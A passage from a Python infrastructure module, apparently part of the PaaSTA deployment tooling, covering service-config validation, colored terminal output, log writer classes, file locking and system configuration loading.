"""Get the desired state (either 'start' or 'stop') for a given service
branch from a generated deployments.json file."""
if self.branch_dict is not None:
return self.branch_dict["desired_state"]
else:
return "start"
def get_force_bounce(self) -> Optional[str]:
"""Get the force_bounce token for a given service branch from a generated
deployments.json file. This is a token that, when changed, indicates that
the instance should be recreated and bounced, even if no other
parameters have changed. This may be None or a string, generally a
timestamp.
"""
if self.branch_dict is not None:
return self.branch_dict["force_bounce"]
else:
return None
def check_cpus(self) -> Tuple[bool, str]:
cpus = self.get_cpus()
if cpus is not None:
if not isinstance(cpus, (float, int)):
return (
False,
'The specified cpus value "%s" is not a valid float or int.' % cpus,
)
return True, ""
def check_mem(self) -> Tuple[bool, str]:
mem = self.get_mem()
if mem is not None:
if not isinstance(mem, (float, int)):
return (
False,
'The specified mem value "%s" is not a valid float or int.' % mem,
)
return True, ""
def check_disk(self) -> Tuple[bool, str]:
disk = self.get_disk()
if disk is not None:
if not isinstance(disk, (float, int)):
return (
False,
'The specified disk value "%s" is not a valid float or int.' % disk,
)
return True, ""
def check_security(self) -> Tuple[bool, str]:
security = self.config_dict.get("security")
if security is None:
return True, ""
inbound_firewall = security.get("inbound_firewall")
outbound_firewall = security.get("outbound_firewall")
if inbound_firewall is None and outbound_firewall is None:
return True, ""
if inbound_firewall is not None and inbound_firewall not in (
"allow",
"reject",
):
return (
False,
'Unrecognized inbound_firewall value "%s"' % inbound_firewall,
)
if outbound_firewall is not None and outbound_firewall not in (
"block",
"monitor",
):
return (
False,
'Unrecognized outbound_firewall value "%s"' % outbound_firewall,
)
unknown_keys = set(security.keys()) - {
"inbound_firewall",
"outbound_firewall",
}
if unknown_keys:
return (
False,
'Unrecognized items in security dict of service config: "%s"'
% ",".join(unknown_keys),
)
return True, ""
def check_dependencies_reference(self) -> Tuple[bool, str]:
dependencies_reference = self.config_dict.get("dependencies_reference")
if dependencies_reference is None:
return True, ""
dependencies = self.config_dict.get("dependencies")
if dependencies is None:
return (
False,
'dependencies_reference "%s" declared but no dependencies found'
% dependencies_reference,
)
if dependencies_reference not in dependencies:
return (
False,
'dependencies_reference "%s" not found in dependencies dictionary'
% dependencies_reference,
)
return True, ""
def check(self, param: str) -> Tuple[bool, str]:
check_methods = {
"cpus": self.check_cpus,
"mem": self.check_mem,
"security": self.check_security,
"dependencies_reference": self.check_dependencies_reference,
"deploy_group": self.check_deploy_group,
}
check_method = check_methods.get(param)
if check_method is not None:
return check_method()
else:
return (
False,
'Your service config specifies "%s", an unsupported parameter.' % param,
)
def validate(
self,
params: List[str] = [
"cpus",
"mem",
"security",
"dependencies_reference",
"deploy_group",
],
) -> List[str]:
error_msgs = []
for param in params:
check_passed, check_msg = self.check(param)
if not check_passed:
error_msgs.append(check_msg)
return error_msgs
def check_deploy_group(self) -> Tuple[bool, str]:
deploy_group = self.get_deploy_group()
if deploy_group is not None:
pipeline_deploy_groups = get_pipeline_deploy_groups(
service=self.service, soa_dir=self.soa_dir
)
if deploy_group not in pipeline_deploy_groups:
return (
False,
f"{self.service}.{self.instance} uses deploy_group {deploy_group}, but it is not deploy.yaml",
) # noqa: E501
return True, ""
def get_extra_volumes(self) -> List[DockerVolume]:
"""Extra volumes are a specially formatted list of dictionaries that should
be bind mounted in a container The format of the dictionaries should
conform to the `Mesos container volumes spec
<https://mesosphere.github.io/marathon/docs/native-docker.html>`_"""
return self.config_dict.get("extra_volumes", [])
def get_aws_ebs_volumes(self) -> List[AwsEbsVolume]:
return self.config_dict.get("aws_ebs_volumes", [])
def get_role(self) -> Optional[str]:
"""Which mesos role of nodes this job should run on.
"""
return self.config_dict.get("role")
def get_pool(self) -> str:
"""Which pool of nodes this job should run on. This can be used to mitigate noisy neighbors, by putting
particularly noisy or noise-sensitive jobs into different pools.
This is implemented with an attribute "pool" on each mesos slave and by adding a constraint or node selector.
Eventually this may be implemented with Mesos roles, once a framework can register under multiple roles.
:returns: the "pool" attribute in your config dict, or the string "default" if not specified."""
return self.config_dict.get("pool", "default")
def get_pool_constraints(self) -> List[Constraint]:
pool = self.get_pool()
return [["pool", "LIKE", pool]]
def get_constraints(self) -> Optional[List[Constraint]]:
return stringify_constraints(self.config_dict.get("constraints", None))
def get_extra_constraints(self) -> List[Constraint]:
return stringify_constraints(self.config_dict.get("extra_constraints", []))
def get_net(self) -> str:
"""
:returns: the docker networking mode the container should be started with.
"""
return self.config_dict.get("net", "bridge")
def get_volumes(self, system_volumes: Sequence[DockerVolume]) -> List[DockerVolume]:
volumes = list(system_volumes) + list(self.get_extra_volumes())
return _reorder_docker_volumes(volumes)
def get_persistent_volumes(self) -> Sequence[PersistentVolume]:
return self.config_dict.get("persistent_volumes", [])
def get_dependencies_reference(self) -> Optional[str]:
"""Get the reference to an entry in dependencies.yaml
Defaults to None if not specified in the config.
:returns: A string specified in the config, None if not specified"""
return self.config_dict.get("dependencies_reference")
def get_dependencies(self) -> Optional[Dict]:
"""Get the contents of the dependencies_dict pointed to by the dependency_reference or
'main' if no dependency_reference exists
Defaults to None if not specified in the config.
:returns: A list of dictionaries specified in the dependencies_dict, None if not specified"""
dependencies = self.config_dict.get("dependencies")
if not dependencies:
return None
dependency_ref = self.get_dependencies_reference() or "main"
return dependencies.get(dependency_ref)
def get_inbound_firewall(self) -> Optional[str]:
"""Return 'allow', 'reject', or None as configured in security->inbound_firewall
Defaults to None if not specified in the config
Setting this to a value other than `allow` is uncommon, as doing so will restrict the
availability of your service. The only other supported value is `reject` currently,
which will reject all remaining inbound traffic to the service port after all other rules.
This option exists primarily for sensitive services that wish to opt into this functionality.
:returns: A string specified in the config, None if not specified"""
security = self.config_dict.get("security")
if not security:
return None
return security.get("inbound_firewall")
def get_outbound_firewall(self) -> Optional[str]:
"""Return 'block', 'monitor', or None as configured in security->outbound_firewall
Defaults to None if not specified in the config
:returns: A string specified in the config, None if not specified"""
security = self.config_dict.get("security")
if not security:
return None
return security.get("outbound_firewall")
def __eq__(self, other: Any) -> bool:
if isinstance(other, type(self)):
return (
self.config_dict == other.config_dict
and self.branch_dict == other.branch_dict
and self.cluster == other.cluster
and self.instance == other.instance
and self.service == other.service
)
else:
return False
def stringify_constraint(usc: UnstringifiedConstraint) -> Constraint:
return [str(x) for x in usc]
def stringify_constraints(
uscs: Optional[List[UnstringifiedConstraint]],
) -> List[Constraint]:
if uscs is None:
return None
return [stringify_constraint(usc) for usc in uscs]
@time_cache(ttl=60)
def validate_service_instance(
service: str, instance: str, cluster: str, soa_dir: str
) -> str:
possibilities: List[str] = []
for instance_type in INSTANCE_TYPES:
sis = get_service_instance_list(
service=service,
cluster=cluster,
instance_type=instance_type,
soa_dir=soa_dir,
)
if (service, instance) in sis:
return instance_type
possibilities.extend(si[1] for si in sis)
else:
suggestions = suggest_possibilities(word=instance, possibilities=possibilities)
raise NoConfigurationForServiceError(
f"Error: {compose_job_id(service, instance)} doesn't look like it has been configured "
f"to run on the {cluster} cluster.{suggestions}"
)
_ComposeRetT = TypeVar("_ComposeRetT")
_ComposeInnerRetT = TypeVar("_ComposeInnerRetT")
def compose(
func_one: Callable[[_ComposeInnerRetT], _ComposeRetT],
func_two: Callable[..., _ComposeInnerRetT],
) -> Callable[..., _ComposeRetT]:
def composed(*args: Any, **kwargs: Any) -> _ComposeRetT:
return func_one(func_two(*args, **kwargs))
return composed
class PaastaColors:
"""Collection of static variables and methods to assist in coloring text."""
# ANSI color codes
BLUE = "\033[34m"
BOLD = "\033[1m"
CYAN = "\033[36m"
DEFAULT = "\033[0m"
GREEN = "\033[32m"
GREY = "\033[38;5;242m"
MAGENTA = "\033[35m"
RED = "\033[31m"
YELLOW = "\033[33m"
@staticmethod
def bold(text: str) -> str:
"""Return bolded text.
:param text: a string
:return: text color coded with ANSI bold
"""
return PaastaColors.color_text(PaastaColors.BOLD, text)
@staticmethod
def blue(text: str) -> str:
"""Return text that can be printed blue.
:param text: a string
:return: text color coded with ANSI blue
"""
return PaastaColors.color_text(PaastaColors.BLUE, text)
@staticmethod
def green(text: str) -> str:
"""Return text that can be printed green.
:param text: a string
:return: text color coded with ANSI green"""
return PaastaColors.color_text(PaastaColors.GREEN, text)
@staticmethod
def red(text: str) -> str:
"""Return text that can be printed red.
:param text: a string
:return: text color coded with ANSI red"""
return PaastaColors.color_text(PaastaColors.RED, text)
@staticmethod
def magenta(text: str) -> str:
"""Return text that can be printed magenta.
:param text: a string
:return: text color coded with ANSI magenta"""
return PaastaColors.color_text(PaastaColors.MAGENTA, text)
@staticmethod
def color_text(color: str, text: str) -> str:
"""Return text that can be printed color.
:param color: ANSI color code
:param text: a string
:return: a string with ANSI color encoding"""
# any time text returns to default, we want to insert our color.
replaced = text.replace(PaastaColors.DEFAULT, PaastaColors.DEFAULT + color)
# then wrap the beginning and end in our color/default.
return color + replaced + PaastaColors.DEFAULT
@staticmethod
def cyan(text: str) -> str:
"""Return text that can be printed cyan.
:param text: a string
:return: text color coded with ANSI cyan"""
return PaastaColors.color_text(PaastaColors.CYAN, text)
@staticmethod
def yellow(text: str) -> str:
"""Return text that can be printed yellow.
:param text: a string
:return: text color coded with ANSI yellow"""
return PaastaColors.color_text(PaastaColors.YELLOW, text)
@staticmethod
def grey(text: str) -> str:
return PaastaColors.color_text(PaastaColors.GREY, text)
@staticmethod
def default(text: str) -> str:
return PaastaColors.color_text(PaastaColors.DEFAULT, text)
LOG_COMPONENTS: Mapping[str, Mapping[str, Any]] = OrderedDict(
[
(
"build",
{
"color": PaastaColors.blue,
"help": "Jenkins build jobs output, like the itest, promotion, security checks, etc.",
"source_env": "devc",
},
),
(
"deploy",
{
"color": PaastaColors.cyan,
"help": "Output from the paasta deploy code. (setup_marathon_job, bounces, etc)",
"additional_source_envs": ["devc"],
},
),
(
"monitoring",
{
"color": PaastaColors.green,
"help": "Logs from Sensu checks for the service",
},
),
(
"marathon",
{
"color": PaastaColors.magenta,
"help": "Logs from Marathon for the service",
},
),
(
"app_output",
{
"color": compose(PaastaColors.yellow, PaastaColors.bold),
"help": "Stderr and stdout of the actual process spawned by Mesos. "
"Convenience alias for both the stdout and stderr components",
},
),
(
"stdout",
{
"color": PaastaColors.yellow,
"help": "Stdout from the process spawned by Mesos.",
},
),
(
"stderr",
{
"color": PaastaColors.yellow,
"help": "Stderr from the process spawned by Mesos.",
},
),
(
"security",
{
"color": PaastaColors.red,
"help": "Logs from security-related services such as firewall monitoring",
},
),
("oom", {"color": PaastaColors.red, "help": "Kernel OOM events."}),
(
"task_lifecycle",
{
"color": PaastaColors.bold,
"help": "Logs that tell you about task startup, failures, healthchecks, etc.",
},
),
# I'm leaving these planned components here since they provide some hints
# about where we want to go. See PAASTA-78.
#
# But I'm commenting them out so they don't delude users into believing we
# can expose logs that we cannot actually expose. See PAASTA-927.
#
# ('app_request', {
# 'color': PaastaColors.bold,
# 'help': 'The request log for the service. Defaults to "service_NAME_requests"',
# 'command': 'scribe_reader -e ENV -f service_example_happyhour_requests',
# }),
# ('app_errors', {
# 'color': PaastaColors.red,
# 'help': 'Application error log, defaults to "stream_service_NAME_errors"',
# 'command': 'scribe_reader -e ENV -f stream_service_SERVICE_errors',
# }),
# ('lb_requests', {
# 'color': PaastaColors.bold,
# 'help': 'All requests from Smartstack haproxy',
# 'command': 'NA - TODO: SRV-1130',
# }),
# ('lb_errors', {
# 'color': PaastaColors.red,
# 'help': 'Logs from Smartstack haproxy that have 400-500 error codes',
# 'command': 'scribereader -e ENV -f stream_service_errors | grep SERVICE.instance',
# }),
]
)
class NoSuchLogComponent(Exception):
pass
def validate_log_component(component: str) -> bool:
if component in LOG_COMPONENTS.keys():
return True
else:
raise NoSuchLogComponent
def get_git_url(service: str, soa_dir: str = DEFAULT_SOA_DIR) -> str:
"""Get the git url for a service. Assumes that the service's
repo matches its name, and that it lives in services- i.e.
if this is called with the string 'test', the returned
url will be git@github.yelpcorp.com:services/test.
:param service: The service name to get a URL for
:returns: A git url to the service's repository"""
general_config = service_configuration_lib.read_service_configuration(
service, soa_dir=soa_dir
)
# TODO: PAASTA-16927: get this from system config `.git_config`
default_location = format_git_url(
"git", "github.yelpcorp.com", f"services/{service}"
)
return general_config.get("git_url", default_location)
def format_git_url(git_user: str, git_server: str, repo_name: str) -> str:
return f"{git_user}@{git_server}:{repo_name}"
def get_service_docker_registry(
service: str,
soa_dir: str = DEFAULT_SOA_DIR,
system_config: Optional["SystemPaastaConfig"] = None,
) -> str:
if service is None:
raise NotImplementedError('"None" is not a valid service')
service_configuration = service_configuration_lib.read_service_configuration(
service, soa_dir
)
try:
return service_configuration["docker_registry"]
except KeyError:
if not system_config:
system_config = load_system_paasta_config()
return system_config.get_system_docker_registry()
class NoSuchLogLevel(Exception):
pass
class LogWriterConfig(TypedDict):
driver: str
options: Dict
class LogReaderConfig(TypedDict):
driver: str
options: Dict
# The active log writer.
_log_writer = None
# The map of name -> LogWriter subclasses, used by configure_log.
_log_writer_classes = {}
class LogWriter:
def __init__(self, **kwargs: Any) -> None:
pass
def log(
self,
service: str,
line: str,
component: str,
level: str = DEFAULT_LOGLEVEL,
cluster: str = ANY_CLUSTER,
instance: str = ANY_INSTANCE,
) -> None:
raise NotImplementedError()
def log_audit(
self,
user: str,
host: str,
action: str,
action_details: dict = None,
service: str = None,
cluster: str = ANY_CLUSTER,
instance: str = ANY_INSTANCE,
) -> None:
raise NotImplementedError()
_LogWriterTypeT = TypeVar("_LogWriterTypeT", bound=Type[LogWriter])
def register_log_writer(name: str) -> Callable[[_LogWriterTypeT], _LogWriterTypeT]:
"""Returns a decorator that registers that log writer class at a given name
so get_log_writer_class can find it."""
def outer(log_writer_class: _LogWriterTypeT) -> _LogWriterTypeT:
_log_writer_classes[name] = log_writer_class
return log_writer_class
return outer
def get_log_writer_class(name: str) -> Type[LogWriter]:
return _log_writer_classes[name]
def list_log_writers() -> Iterable[str]:
return _log_writer_classes.keys()
def configure_log() -> None:
"""We will log to the yocalhost binded scribe."""
log_writer_config = load_system_paasta_config().get_log_writer()
global _log_writer
LogWriterClass = get_log_writer_class(log_writer_config["driver"])
_log_writer = LogWriterClass(**log_writer_config.get("options", {}))
def _log(
service: str,
line: str,
component: str,
level: str = DEFAULT_LOGLEVEL,
cluster: str = ANY_CLUSTER,
instance: str = ANY_INSTANCE,
) -> None:
if _log_writer is None:
configure_log()
return _log_writer.log(
service=service,
line=line,
component=component,
level=level,
cluster=cluster,
instance=instance,
)
def _log_audit(
action: str,
action_details: dict = None,
service: str = None,
cluster: str = ANY_CLUSTER,
instance: str = ANY_INSTANCE,
) -> None:
if _log_writer is None:
configure_log()
user = get_username()
host = get_hostname()
return _log_writer.log_audit(
user=user,
host=host,
action=action,
action_details=action_details,
service=service,
cluster=cluster,
instance=instance,
)
def _now() -> str:
return datetime.datetime.utcnow().isoformat()
def remove_ansi_escape_sequences(line: str) -> str:
"""Removes ansi escape sequences from the given line."""
return no_escape.sub("", line)
def format_log_line(
level: str,
cluster: str,
service: str,
instance: str,
component: str,
line: str,
timestamp: str = None,
) -> str:
"""Accepts a string 'line'.
Returns an appropriately-formatted dictionary which can be serialized to
JSON for logging and which contains 'line'.
"""
validate_log_component(component)
if not timestamp:
timestamp = _now()
line = remove_ansi_escape_sequences(line.strip())
message = json.dumps(
{
"timestamp": timestamp,
"level": level,
"cluster": cluster,
"service": service,
"instance": instance,
"component": component,
"message": line,
},
sort_keys=True,
)
return message
def format_audit_log_line(
cluster: str,
instance: str,
user: str,
host: str,
action: str,
action_details: dict = None,
service: str = None,
timestamp: str = None,
) -> str:
"""Accepts:
* a string 'user' describing the user that initiated the action
* a string 'host' describing the server where the user initiated the action
* a string 'action' describing an action performed by paasta_tools
* a dict 'action_details' optional information about the action
Returns an appropriately-formatted dictionary which can be serialized to
JSON for logging and which contains details about an action performed on
a service/instance.
"""
if not timestamp:
timestamp = _now()
if not action_details:
action_details = {}
message = json.dumps(
{
"timestamp": timestamp,
"cluster": cluster,
"service": service,
"instance": instance,
"user": user,
"host": host,
"action": action,
"action_details": action_details,
},
sort_keys=True,
)
return message
def get_log_name_for_service(service: str, prefix: str = None) -> str:
if prefix:
return f"stream_paasta_{prefix}_{service}"
return "stream_paasta_%s" % service
try:
import clog
# Somehow clog turns on DeprecationWarnings, so we need to disable them
# again after importing it.
warnings.filterwarnings("ignore", category=DeprecationWarning)
class CLogWriter(LogWriter):
def __init__(self, **kwargs: Any):
clog.config.configure(**kwargs)
def log(
self,
service: str,
line: str,
component: str,
level: str = DEFAULT_LOGLEVEL,
cluster: str = ANY_CLUSTER,
instance: str = ANY_INSTANCE,
) -> None:
"""This expects someone (currently the paasta cli main()) to have already
configured the log object. We'll just write things to it.
"""
if level == "event":
print(f"[service {service}] {line}", file=sys.stdout)
elif level == "debug":
print(f"[service {service}] {line}", file=sys.stderr)
else:
raise NoSuchLogLevel
log_name = get_log_name_for_service(service)
formatted_line = format_log_line(
level, cluster, service, instance, component, line
)
clog.log_line(log_name, formatted_line)
def log_audit(
self,
user: str,
host: str,
action: str,
action_details: dict = None,
service: str = None,
cluster: str = ANY_CLUSTER,
instance: str = ANY_INSTANCE,
) -> None:
log_name = AUDIT_LOG_STREAM
formatted_line = format_audit_log_line(
user=user,
host=host,
action=action,
action_details=action_details,
service=service,
cluster=cluster,
instance=instance,
)
clog.log_line(log_name, formatted_line)
@register_log_writer("monk")
class MonkLogWriter(CLogWriter):
def __init__(
self,
monk_host: str = "169.254.255.254",
monk_port: int = 1473,
monk_disable: bool = False,
**kwargs: Any,
) -> None:
super().__init__(
monk_host=monk_host, monk_port=monk_port, monk_disable=monk_disable,
)
@register_log_writer("scribe")
class ScribeLogWriter(CLogWriter):
def __init__(
self,
scribe_host: str = "169.254.255.254",
scribe_port: int = 1463,
scribe_disable: bool = False,
**kwargs: Any,
) -> None:
super().__init__(
scribe_host=scribe_host,
scribe_port=scribe_port,
scribe_disable=scribe_disable,
)
except ImportError:
warnings.warn("clog is unavailable")
@register_log_writer("null")
class NullLogWriter(LogWriter):
"""A LogWriter class that doesn't do anything. Primarily useful for integration tests where we don't care about
logs."""
def __init__(self, **kwargs: Any) -> None:
pass
def log(
self,
service: str,
line: str,
component: str,
level: str = DEFAULT_LOGLEVEL,
cluster: str = ANY_CLUSTER,
instance: str = ANY_INSTANCE,
) -> None:
pass
def log_audit(
self,
user: str,
host: str,
action: str,
action_details: dict = None,
service: str = None,
cluster: str = ANY_CLUSTER,
instance: str = ANY_INSTANCE,
) -> None:
pass
@contextlib.contextmanager
def _empty_context() -> Iterator[None]:
yield
_AnyIO = Union[io.IOBase, IO]
@register_log_writer("file")
class FileLogWriter(LogWriter):
def __init__(
self,
path_format: str,
mode: str = "a+",
line_delimiter: str = "\n",
flock: bool = False,
) -> None:
self.path_format = path_format
self.mode = mode
self.flock = flock
self.line_delimiter = line_delimiter
def maybe_flock(self, fd: _AnyIO) -> ContextManager:
if self.flock:
# https://github.com/python/typeshed/issues/1548
return flock(fd)
else:
return _empty_context()
def format_path(
self, service: str, component: str, level: str, cluster: str, instance: str
) -> str:
return self.path_format.format(
service=service,
component=component,
level=level,
cluster=cluster,
instance=instance,
)
def _log_message(self, path: str, message: str) -> None:
# We use io.FileIO here because it guarantees that write() is implemented with a single write syscall,
# and on Linux, writes to O_APPEND files with a single write syscall are atomic.
#
# https://docs.python.org/2/library/io.html#io.FileIO
# http://article.gmane.org/gmane.linux.kernel/43445
try:
with io.FileIO(path, mode=self.mode, closefd=True) as f:
with self.maybe_flock(f):
f.write(message.encode("UTF-8"))
except IOError as e:
print(
"Could not log to {}: {}: {} -- would have logged: {}".format(
path, type(e).__name__, str(e), message
),
file=sys.stderr,
)
def log(
self,
service: str,
line: str,
component: str,
level: str = DEFAULT_LOGLEVEL,
cluster: str = ANY_CLUSTER,
instance: str = ANY_INSTANCE,
) -> None:
path = self.format_path(service, component, level, cluster, instance)
to_write = "{}{}".format(
format_log_line(level, cluster, service, instance, component, line),
self.line_delimiter,
)
self._log_message(path, to_write)
def log_audit(
self,
user: str,
host: str,
action: str,
action_details: dict = None,
service: str = None,
cluster: str = ANY_CLUSTER,
instance: str = ANY_INSTANCE,
) -> None:
path = self.format_path(AUDIT_LOG_STREAM, "", "", cluster, instance)
formatted_line = format_audit_log_line(
user=user,
host=host,
action=action,
action_details=action_details,
service=service,
cluster=cluster,
instance=instance,
)
to_write = f"{formatted_line}{self.line_delimiter}"
self._log_message(path, to_write)
@contextlib.contextmanager
def flock(fd: _AnyIO) -> Iterator[None]:
try:
fcntl.flock(fd.fileno(), fcntl.LOCK_EX)
yield
finally:
fcntl.flock(fd.fileno(), fcntl.LOCK_UN)
@contextlib.contextmanager
def timed_flock(fd: _AnyIO, seconds: int = 1) -> Iterator[None]:
""" Attempt to grab an exclusive flock with a timeout. Uses Timeout, so will
raise a TimeoutError if `seconds` elapses before the flock can be obtained
"""
# We don't want to wrap the user code in the timeout, just the flock grab
flock_context = flock(fd)
with Timeout(seconds=seconds):
flock_context.__enter__()
try:
yield
finally:
flock_context.__exit__(*sys.exc_info())
def _timeout(process: Popen) -> None:
"""Helper function for _run. It terminates the process.
Doesn't raise OSError, if we try to terminate a non-existing
process as there can be a very small window between poll() and kill()
"""
if process.poll() is None:
try:
# sending SIGKILL to the process
process.kill()
except OSError as e:
# No such process error
# The process could have been terminated meanwhile
if e.errno != errno.ESRCH:
raise
class PaastaNotConfiguredError(Exception):
pass
class NoConfigurationForServiceError(Exception):
pass
def get_readable_files_in_glob(glob: str, path: str) -> List[str]:
"""
Returns a sorted list of files that are readable in an input glob by recursively searching a path
"""
globbed_files = []
for root, dirs, files in os.walk(path):
for f in files:
fn = os.path.join(root, f)
if os.path.isfile(fn) and os.access(fn, os.R_OK) and fnmatch(fn, glob):
globbed_files.append(fn)
return sorted(globbed_files)
class ClusterAutoscalingResource(TypedDict):
type: str
id: str
region: str
pool: str
min_capacity: int
max_capacity: int
IdToClusterAutoscalingResourcesDict = Dict[str, ClusterAutoscalingResource]
class ResourcePoolSettings(TypedDict):
target_utilization: float
drain_timeout: int
PoolToResourcePoolSettingsDict = Dict[str, ResourcePoolSettings]
class MarathonConfigDict(TypedDict, total=False):
user: str
password: str
url: List[str]
class LocalRunConfig(TypedDict, total=False):
default_cluster: str
class RemoteRunConfig(TypedDict, total=False):
default_role: str
class SparkRunConfig(TypedDict, total=False):
default_cluster: str
default_pool: str
class PaastaNativeConfig(TypedDict, total=False):
principal: str
secret: str
ExpectedSlaveAttributes = List[Dict[str, Any]]
class KubeKindDict(TypedDict, total=False):
singular: str
plural: str
class KubeCustomResourceDict(TypedDict, total=False):
version: str
file_prefix: str
kube_kind: KubeKindDict
group: str
class KubeStateMetricsCollectorConfigDict(TypedDict, total=False):
unaggregated_metrics: List[str]
summed_metric_to_group_keys: Dict[str, List[str]]
label_metric_to_label_key: Dict[str, List[str]]
label_renames: Dict[str, str]
class SystemPaastaConfigDict(TypedDict, total=False):
api_endpoints: Dict[str, str]
auth_certificate_ttl: str
auto_config_instance_types_enabled: Dict[str, bool]
auto_hostname_unique_size: int
boost_regions: List[str]
cluster_autoscaler_max_decrease: float
cluster_autoscaler_max_increase: float
cluster_autoscaling_draining_enabled: bool
cluster_autoscaling_resources: IdToClusterAutoscalingResourcesDict
cluster_boost_enabled: bool
cluster_fqdn_format: str
clusters: Sequence[str]
cluster: str
dashboard_links: Dict[str, Dict[str, str]]
default_push_groups: List
deploy_blacklist: UnsafeDeployBlacklist
deployd_big_bounce_deadline: float
deployd_log_level: str
deployd_maintenance_polling_frequency: int
deployd_max_service_instance_failures: int
deployd_metrics_provider: str
deployd_number_workers: int
deployd_startup_bounce_deadline: float
deployd_startup_oracle_enabled: bool
deployd_use_zk_queue: bool
deployd_worker_failure_backoff_factor: int
deploy_whitelist: UnsafeDeployWhitelist
disabled_watchers: List
dockercfg_location: str
docker_registry: str
enable_client_cert_auth: bool
enable_nerve_readiness_check: bool
enable_envoy_readiness_check: bool
enforce_disk_quota: bool
envoy_admin_domain_name: str
envoy_admin_endpoint_format: str
envoy_nerve_readiness_check_script: List[str]
envoy_readiness_check_script: List[str]
expected_slave_attributes: ExpectedSlaveAttributes
filter_bogus_mesos_cputime_enabled: bool
fsm_template: str
git_config: Dict
hacheck_sidecar_image_url: str
hacheck_sidecar_volumes: List[DockerVolume]
kubernetes_custom_resources: List[KubeCustomResourceDict]
kubernetes_use_hacheck_sidecar: bool
ldap_host: str
ldap_reader_password: str
ldap_reader_username: str
ldap_search_base: str
ldap_search_ou: str
local_run_config: LocalRunConfig
log_reader: LogReaderConfig
log_writer: LogWriterConfig
maintenance_resource_reservation_enabled: bool
marathon_servers: List[MarathonConfigDict]
mesos_config: Dict
metrics_provider: str
monitoring_config: Dict
nerve_readiness_check_script: List[str]
paasta_native: PaastaNativeConfig
pdb_max_unavailable: Union[str, int]
pki_backend: str
pod_defaults: Dict[str, Any]
previous_marathon_servers: List[MarathonConfigDict]
register_k8s_pods: bool
register_marathon_services: bool
register_native_services: bool
remote_run_config: RemoteRunConfig
resource_pool_settings: PoolToResourcePoolSettingsDict
secret_provider: str
security_check_command: str
sensu_host: str
sensu_port: int
service_discovery_providers: Dict[str, Any]
slack: Dict[str, str]
spark_run_config: SparkRunConfig
synapse_haproxy_url_format: str
synapse_host: str
synapse_port: int
taskproc: Dict
tron: Dict
vault_cluster_map: Dict
vault_environment: str
volumes: List[DockerVolume]
zookeeper: str
def load_system_paasta_config(
path: str = PATH_TO_SYSTEM_PAASTA_CONFIG_DIR,
) -> "SystemPaastaConfig":
"""
Reads Paasta configs in specified directory in lexicographical order and deep merges
the dictionaries (last file wins).
"""
if not os.path.isdir(path):
raise PaastaNotConfiguredError(
"Could not find system paasta configuration directory: %s" % path
)
if not os.access(path, os.R_OK):
raise PaastaNotConfiguredError(
"Could not read from system paasta configuration directory: %s" % path
)
try:
file_stats = frozenset(
{
(fn, os.stat(fn))
for fn in get_readable_files_in_glob(glob="*.json", path=path)
}
)
return parse_system_paasta_config(file_stats, path)
except IOError as e:
raise PaastaNotConfiguredError(
f"Could not load system paasta config file {e.filename}: {e.strerror}"
)
def optionally_load_system_paasta_config(
path: str = PATH_TO_SYSTEM_PAASTA_CONFIG_DIR,
) -> "SystemPaastaConfig":
"""
Tries to load the system paasta config, but will return an empty configuration if not available,
without raising.
"""
try:
return load_system_paasta_config(path=path)
except PaastaNotConfiguredError:
return SystemPaastaConfig({}, "")
@lru_cache()
def parse_system_paasta_config(
file_stats: FrozenSet[Tuple[str, os.stat_result]], path: str
) -> "SystemPaastaConfig":
"""Pass in a dictionary of filename -> os.stat_result, and this returns the merged parsed configs"""
config: SystemPaastaConfigDict = {}
for filename, _ in file_stats:
with open(filename) as f:
config = deep_merge_dictionaries(
json.load(f), config, allow_duplicate_keys=False
)
return SystemPaastaConfig(config, path)
class SystemPaastaConfig:
def __init__(self, config: SystemPaastaConfigDict, directory: str) -> None:
self.directory = directory
self.config_dict = config
def __eq__(self, other: Any) -> bool:
if isinstance(other, SystemPaastaConfig):
return (
self.directory == other.directory
and self.config_dict == other.config_dict
)
return False
def __repr__(self) -> str:
return f"SystemPaastaConfig({self.config_dict!r}, {self.directory!r})"
def get_zk_hosts(self) -> str:
"""Get the zk_hosts defined in this hosts's cluster config file.
Strips off the zk:// prefix, if it exists, for use with Kazoo.
:returns: The zk_hosts specified in the paasta configuration
"""
try:
hosts = self.config_dict["zookeeper"]
except KeyError:
raise PaastaNotConfiguredError(
"Could not find zookeeper connection string in configuration directory: %s"
% self.directory
)
# how do python strings not have a method for doing this
if hosts.startswith("zk://"):
return hosts[len("zk://") :]
return hosts
def get_system_docker_registry(self) -> str:
"""Get the docker_registry defined in this host's cluster config file.
:returns: The docker_registry specified in the paasta configuration
"""
try:
return self.config_dict["docker_registry"]
except KeyError:
raise PaastaNotConfiguredError(
"Could not find docker registry in configuration directory: %s"
% self.directory
)
def get_hacheck_sidecar_volumes(self) -> List[DockerVolume]:
"""Get the hacheck sidecar volumes defined in this host's hacheck_sidecar_volumes config file.
:returns: The list of volumes specified in the paasta configuration
"""
try:
volumes = self.config_dict["hacheck_sidecar_volumes"]
except KeyError:
raise PaastaNotConfiguredError(
"Could not find hacheck_sidecar_volumes in configuration directory: %s"
% self.directory
)
return _reorder_docker_volumes(list(volumes))
def get_volumes(self) -> Sequence[DockerVolume]:
"""Get the volumes defined in this host's volumes config file.
:returns: The list of volumes specified in the paasta configuration
"""
try:
return self.config_dict["volumes"]
except KeyError:
raise PaastaNotConfiguredError(
"Could not find volumes in configuration directory: %s" % self.directory
)
def get_cluster(self) -> str:
"""Get the cluster defined in this host's cluster config file.
:returns: The name of the cluster defined in the paasta configuration
"""
try:
return self.config_dict["cluster"]
except KeyError:
raise PaastaNotConfiguredError(
"Could not find cluster in configuration directory: %s" % self.directory
)
def get_dashboard_links(self) -> Mapping[str, Mapping[str, str]]:
return self.config_dict["dashboard_links"]
def get_auto_hostname_unique_size(self) -> int:
"""
We automatically add a ["hostname", "UNIQUE"] constraint to "small" services running in production clusters.
If there are less than or equal to this number of instances, we consider it small.
We fail safe and return -1 to avoid adding the ['hostname', 'UNIQUE'] constraint if this value is not defined
:returns: The integer size of a small service
"""
return self.config_dict.get("auto_hostname_unique_size", -1)
def get_auto_config_instance_types_enabled(self) -> Dict[str, bool]:
return self.config_dict.get("auto_config_instance_types_enabled", {})
def get_api_endpoints(self) -> Mapping[str, str]:
return self.config_dict["api_endpoints"]
def get_enable_client_cert_auth(self) -> bool:
"""
If enabled present a client certificate from ~/.paasta/pki/<cluster>.crt and ~/.paasta/pki/<cluster>.key
"""
return self.config_dict.get("enable_client_cert_auth", True)
def get_enable_nerve_readiness_check(self) -> bool:
"""
If enabled perform readiness checks on nerve
"""
return self.config_dict.get("enable_nerve_readiness_check", True)
